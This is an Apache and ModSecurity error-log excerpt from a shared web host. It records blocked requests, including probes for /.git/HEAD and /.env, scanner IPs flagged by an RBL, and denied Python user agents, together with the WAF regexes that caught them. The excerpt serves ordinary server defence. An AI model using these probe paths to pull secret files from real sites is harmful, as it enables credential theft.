40.160.6.187:41208] ModSecurity: Access denied with code 406 (phase 2). Match of "rx [.](png|jpeg|jpg|tiff|bmp|gif|webp|heif|svg|raw|ico|ppm|pgm|pbm|exr|nef|dng|cr2|orf|arw|pef|sr2|raf|kdc|indd|ai|eps|pdf|psd|tga|hdr|j2k|jpf|jp2|pspimage|cut|icns|webm|bpg|avif|heic|fpx|hdri|hdp|yuv|sgi|xpm|svgz)$" against "REQUEST_FILENAME" required. [file "/opt/mod_security/hg_rules.conf"] [line "842"] [id "900095"] [msg "Bad UA :: Fake Mozilla Agent"] [hostname "aynabeautystudio.com"] [uri "/"] [unique_id "ai30abV-dFiaX9AtWiQg3AAAAS4"] [Sat Jun 13 18:23:05.479517 2026] [security2:error] [pid 646876:tid 646982] [remote 17.22.253.206:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 206.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30adyTkdrNlD40tSHQ0AAAHmc"] [Sat Jun 13 18:23:05.487910 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.49:62723] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:05.488352 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.49:62723] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:05.595178 2026] [security2:error] [pid 646876:tid 647009] [client 45.130.203.210:53277] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "cpcalendars.retalviewelsokhna.com"] [uri "/.git/HEAD"] [unique_id "ai30adyTkdrNlD40tSHQ0gAAAAE"] [Sat Jun 13 18:23:05.614415 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2lk [Sat Jun 13 18:23:05.614858 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2lk [Sat Jun 13 18:23:05.641015 2026] [security2:error] [pid 715691:tid 715904] [client 45.130.203.192:43119] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "retalviewelsokhna.retalview-northcoast.com"] [uri "/.git/HEAD"] [unique_id "ai30abV-dFiaX9AtWiQg7wAAAUk"] [Sat Jun 13 18:23:05.728351 2026] [security2:error] [pid 715691:tid 715956] [client 45.130.203.224:29429] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.retalviewelsokhna.com"] [uri "/.git/HEAD"] [unique_id "ai30abV-dFiaX9AtWiQg9AAAAX0"] [Sat Jun 13 18:23:05.757107 2026] [security2:error] [pid 646876:tid 647061] [client 45.130.203.186:41615] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.retalviewelsokhna.retalview-northcoast.com"] [uri "/.git/HEAD"] [unique_id "ai30adyTkdrNlD40tSHQ2AAAADU"] [Sat Jun 13 18:23:05.866373 2026] [security2:error] [pid 715691:tid 715942] [client 40.160.6.187:41216] ModSecurity: Access denied with code 406 (phase 2). Match of "rx [.](png|jpeg|jpg|tiff|bmp|gif|webp|heif|svg|raw|ico|ppm|pgm|pbm|exr|nef|dng|cr2|orf|arw|pef|sr2|raf|kdc|indd|ai|eps|pdf|psd|tga|hdr|j2k|jpf|jp2|pspimage|cut|icns|webm|bpg|avif|heic|fpx|hdri|hdp|yuv|sgi|xpm|svgz)$" against "REQUEST_FILENAME" required. [file "/opt/mod_security/hg_rules.conf"] [line "842"] [id "900095"] [msg "Bad UA :: Fake Mozilla Agent"] [hostname "aynabeautystudio.com"] [uri "/"] [unique_id "ai30abV-dFiaX9AtWiQg-AAAAW8"] [Sat Jun 13 18:23:05.887841 2026] [access_compat:error] [pid 715691:tid 715769] [remote 57.141.14.62:26134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:05.888277 2026] [access_compat:error] [pid 715691:tid 715769] [remote 57.141.14.62:26134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:05.895611 2026] [core:error] [pid 715691:tid 715960] [client 47.79.205.212:3280] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:23:05.895662 2026] [core:error] [pid 715691:tid 715960] [client 47.79.205.212:3280] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:23:06.007113 2026] [access_compat:error] [pid 646876:tid 647019] [client 116.179.32.66:53398] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:06.007564 2026] [access_compat:error] [pid 646876:tid 647019] [client 116.179.32.66:53398] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:06.011511 2026] [security2:error] [pid 715691:tid 715734] [remote 17.246.19.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30arV-dFiaX9AtWiQg_wABDRg"] [Sat Jun 13 18:23:06.133857 2026] [security2:error] [pid 715691:tid 715715] [remote 57.141.14.98:44074] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30arV-dFiaX9AtWiQhBwABWAU"], referer: https://nelsonfarmstn.com/product/purely-patchouli/?add_to_wishlist=391&_wpnonce=8d149de2a5 [Sat Jun 13 18:23:06.160041 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2UvZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:23:06.160447 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2UvZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:23:06.273995 2026] [access_compat:error] [pid 646876:tid 646917] [remote 57.141.14.97:27220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:06.274272 2026] [access_compat:error] [pid 646876:tid 646917] [remote 57.141.14.97:27220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:06.423768 2026] [access_compat:error] [pid 646876:tid 647084] [client 116.179.32.38:22229] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:06.424113 2026] [access_compat:error] [pid 646876:tid 647084] [client 116.179.32.38:22229] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:06.687921 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvZHJpdmVyL3Bjc3Brci9zdWJzeXN0ZW0vZHJpdmVycy9hbWRfZ3Bpbw== [Sat Jun 13 18:23:06.688200 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvZHJpdmVyL3Bjc3Brci9zdWJzeXN0ZW0vZHJpdmVycy9hbWRfZ3Bpbw== [Sat Jun 13 18:23:06.800773 2026] [security2:error] [pid 715691:tid 715818] [remote 17.22.245.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30arV-dFiaX9AtWiQhIQABeWs"] [Sat Jun 13 18:23:06.936079 2026] [security2:error] [pid 646876:tid 647092] [client 34.170.189.242:35572] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "collinsonhall.com"] [uri "/.env"] [unique_id "ai30atyTkdrNlD40tSHQ7gAAAFQ"] [Sat Jun 13 18:23:06.974448 2026] [security2:error] [pid 646876:tid 647022] [client 34.170.189.242:35578] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "collinsonhallcom.odeonsite-stalbans.co.uk"] [uri "/.env"] [unique_id "ai30atyTkdrNlD40tSHQ8AAAAA4"] [Sat Jun 13 18:23:06.995858 2026] [access_compat:error] [pid 715691:tid 715824] [remote 57.141.14.32:31631] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:06.996296 2026] [access_compat:error] [pid 715691:tid 715824] [remote 57.141.14.32:31631] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:07.037663 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.88:65370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:07.038171 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.88:65370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:07.122697 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.32:31647] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:07.123126 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.32:31647] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:07.196000 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:07.196467 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:07.715959 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:23:07.716220 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:23:07.763240 2026] [security2:error] [pid 715691:tid 715710] [remote 17.241.219.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30a7V-dFiaX9AtWiQhRwABagA"] [Sat Jun 13 18:23:07.798724 2026] [security2:error] [pid 646876:tid 646925] [remote 17.246.23.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30a9yTkdrNlD40tSHRAgAAaC4"] [Sat Jun 13 18:23:07.838974 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.113:25212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:07.839278 2026] [access_compat:error] [pid 715691:tid 715836] [remote 57.141.14.113:25212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:08.022223 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.9:32624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:08.022690 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.9:32624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:08.236965 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:08.237267 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:08.521394 2026] [access_compat:error] [pid 715691:tid 715816] [remote 57.141.14.27:21332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:08.521729 2026] [access_compat:error] [pid 715691:tid 715816] [remote 57.141.14.27:21332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:08.747968 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.71:45910] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:08.748245 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.71:45910] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:08.803555 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 